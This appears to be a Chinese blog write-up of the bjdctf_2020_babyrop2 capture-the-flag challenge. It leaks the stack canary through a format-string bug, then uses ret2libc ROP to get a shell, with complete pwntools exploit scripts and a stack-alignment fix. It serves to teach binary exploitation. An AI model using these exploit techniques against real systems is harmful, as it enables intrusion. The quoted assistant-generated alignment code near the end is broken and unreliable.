Post

bjdctf_2020_babyrop2

1
2
3
4
5
6
7
bamuwe@qianenzhao:~$ checksec bjdctf_2020_babyrop2
[*] '/home/bamuwe/bjdctf_2020_babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

canary保护机制:在局部变量和返回地址间插入一个随机数,通过检测这个随机数判断是否存在栈溢出或修改.

image-20240101130851524

image-20240101130915897

红框位置就是canary值存在的位置

image-20240101131022383

gift函数

image-20240101131040053

vuln函数

  1. 存在canary机制考虑怎么泄露canary,在gift函数中存在一个格式化字符漏洞可以利用

    • 因为这里对输入长度做了限制,所以不能用常规%8x%8x%8x...来泄露偏移量,但是我们可以用%n$p来泄露偏移量,n是偏移的位置,$p是打印该位置上的值

      1
      2
      3
      4
      5
      
      from pwn import *
      context.log_level = 'debug'
      io = process('./bjdctf_2020_babyrop2')
      io.sendlineafter(b"I'll give u some gift to help u!\n",b'A%6$p')
      io.interactive()
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      
      [DEBUG] Received 0x44 bytes:
          b'Can u return to libc ?\n'
          b'Try u best!\n'
          b"I'll give u some gift to help u!\n"
      [DEBUG] Sent 0x6 bytes:
          b'A%6$p\n'
      [*] Switching to interactive mode
      [DEBUG] Received 0x36 bytes:
          b'A0x7024362541\n'
          b'Pull up your sword and tell me u story!\n'
      A0x7024362541
      Pull up your sword and tell me u story!
      $
      

      n等于6时看到了0x41,确定偏移为6

    • 根据上面提到的,我们知道canary在栈的末尾,所以把偏移往后移一位就可以得到canary的值

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      
      [DEBUG] Received 0x23 bytes:
          b'Can u return to libc ?\n'
          b'Try u best!\n'
      [DEBUG] Received 0x21 bytes:
          b"I'll give u some gift to help u!\n"
      [DEBUG] Sent 0x6 bytes:
          b'A%7$p\n'
      [*] Switching to interactive mode
      [DEBUG] Received 0x13 bytes:
          b'A0x6b3d526f8ba61400'
      $
      
      1
      2
      3
      4
      5
      
      pwndbg> stack 0x20
      00:0000│ rsp 0x7ffd2b15b170 ◂— 0x7024372541 /* 'A%7$p' */
      01:0008│     0x7ffd2b15b178 ◂— 0x6b3d526f8ba61400
      02:0010│ rbp 0x7ffd2b15b180 —▸ 0x7ffd2b15b1a0 ◂— 0x1
      03:0018│     0x7ffd2b15b188 —▸ 0x400905 (main+43) ◂— mov eax, 0
      
  2. 获得了canary之后就是常规的64位泄露libc,但是在填充栈的时候有一些不同,我们要注意覆盖canary的位置

    • image-20240101132652204

      通过ida我们看到buf的栈空间为0x18

      栈填充部分如下

      rbp   
       padding 0x18
        canaryvalue
        leave0x8
        ret 

      泄露libc完整payload

      rbp    
       padding 0x18 
        canaryvalue 
        leave0x8 
       pop_rdiret ROPgadgets
       puts_gotret  
       puts_pltret  
       vuln_addrret  
  3. 得到libc构造payload得到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#远程脚本
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
io = remote('node5.buuoj.cn',26462)
elf = ELF('./bjdctf_2020_babyrop2')

io.sendlineafter(b"I'll give u some gift to help u!\n",b'%7$p')
io.recvuntil(b'0x')
canary = int(io.recvline(16),16)    #recv(),15或者16都可以,后续函数会自动去除的

print('canary->',hex(canary))
padding = b'A'*0x18+p64(canary)+b'A'*8
payload = padding + p64(0x0000000000400993) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['vuln'])
io.sendlineafter(b'Pull up your sword and tell me u story!',payload)
io.recvuntil(b'\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr->',hex(puts_addr))

Lib = LibcSearcher('puts',puts_addr)
Liboffset = puts_addr - Lib.dump('puts')
sys_addr = Liboffset + Lib.dump('system')
bin_sh_addr = Liboffset + Lib.dump('str_bin_sh')
payload = padding+p64(0x0000000000400993)+p64(bin_sh_addr)+p64(sys_addr)+p64(elf.sym['main'])
io.sendlineafter(b"Pull up your sword and tell me u story!",payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#本地脚本
from pwn import *
context.log_level = 'debug'
#io = process('./bjdctf_2020_babyrop2')
io = gdb.debug('./bjdctf_2020_babyrop2','break vuln')
elf = ELF('./bjdctf_2020_babyrop2')
Lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')

io.sendlineafter(b"I'll give u some gift to help u!\n",b'%7$p')
io.recvuntil(b'0x')
canary = int(io.recvline(16),16)    #recv(),15或者16都可以,后续函数会自动去除的

print('canary->',hex(canary))
padding = b'A'*0x18+p64(canary)+b'A'*8
payload = padding + p64(0x0000000000400993) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['vuln'])
io.sendlineafter(b'Pull up your sword and tell me u story!',payload)
io.recvuntil(b'\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr->',hex(puts_addr))
Liboffset = puts_addr - Lib.sym['puts']
sys_addr = Liboffset + Lib.sym['system']
bin_sh_addr = Liboffset + next(Lib.search(b'/bin/sh'))
payload = padding+p64(0x0000000000400993)+p64(bin_sh_addr)+p64(0x00000000004005f9)+p64(sys_addr)
io.sendlineafter(b"Pull up your sword and tell me u story!",payload)
io.interactive()

由于我本地环境是Wsl-Ubuntu-22.04会出现本地打不通的情况,所以需要在调用system前加上ret+p64(0x00000000004005f9)填充内存空间,具体原因参考如下

1
2
环境差异:
•	libc版本不同:不同版本的glibc库在处理函数调用时可能存在差异,如系统调用、格式化字符串解析、堆管理等。例如,上述信息提及,glibc 2.27及更高版本的system()函数内部实现可能使用了xmm寄存器,要求内存对齐,如果本地环境与远程环境的glibc版本不一致,可能导致利用失败。

通过调试可以发现,本地不通确实是因为调用了xmm寄存器

1
2
3
4
5
─────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────
   0x7faee5924967 <do_system+103>    mov    qword ptr [rsp + 188h], 0
 ► 0x7faee5924973 <do_system+115>    movaps xmmword ptr [rsp], xmm1
   0x7faee5924977 <do_system+119>    lock cmpxchg dword ptr [rip + 1cae01h], edx
   0x7faee592497f <do_system+127>    jne    7faee5924c30h                 <do_system+816>

我们需要让system的地址正好落在16字节的栈边界,从根本(原理)上改变是很困难的,但是可以通过填充rop比如nop,ret来填充需要的字节.

解决办法:在system函数地址前加一个或多个ret尝试打通本地

参考通义千问回答的代码:

在使用pwntools编写exploit脚本时,确实可以通过ROP(Return-Oriented Programming)技术来实现对齐。如果你知道目标地址必须是对齐的,例如16字节对齐,那么在构造ROP链的过程中,可以插入适当的NOP sled或者找到内存中一个合适的返回指令片段,确保payload中的关键地址(比如system函数的地址或其所在plt/got表项的地址)在其之前填充足够的字节以达到对齐要求。

例如,在ropchain构建过程中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

# 假设已经得到了elf、libc等上下文信息

context.arch = 'amd64'  # 设置架构为x86_64

# ... 省略其他代码,如连接到远程服务器、获取shellcode等

# 找到system gadget和其他需要使用的gadgets
pop_rdi = elf.gadgets['pop rdi; ret']  # 用于放置参数
syscall = elf.plt['syscall']  # 或者直接用系统调用号对应的gadget

# 确保system地址是16字节对齐的
system_addr = next((addr for addr in gadgets if addr % 16 == 0 and gadgets[addr].endswith('ret')), None)
if not system_addr:
   # 如果没有找到对齐的system gadget,可能需要创建一个填充的ROP链
   padding = b'\x90' * (16 - (next_gadget_address % 16))  # 使用NOP sled填充
   rop += padding
   system_addr = next_gadget_address + len(padding)

rop += p64(pop_rdi)  # 将"/bin/sh"字符串地址放入rdi
rop += p64(binary.search('/bin/sh'))  # "/bin/sh"的地址
rop += p64(system_addr)  # 调用system gadget

# 发送ROP链
payload = b'A'*overflow_size + rop
io.send(payload)

请注意上述代码仅为示例,实际利用中需要根据具体环境和栈布局来调整。在实际场景中,如果是因为system()函数内部实现要求xmm寄存器对齐,则通常会检查并保证栈上相关数据的对齐,而不仅仅是system函数本身的地址对齐。在这种情况下,你可能需要更深入地分析程序行为,并且可能需要结合额外的技术手段(如寻找特定类型的gadget)来构造满足条件的ROP链。

This post is licensed under CC BY 4.0 by the author.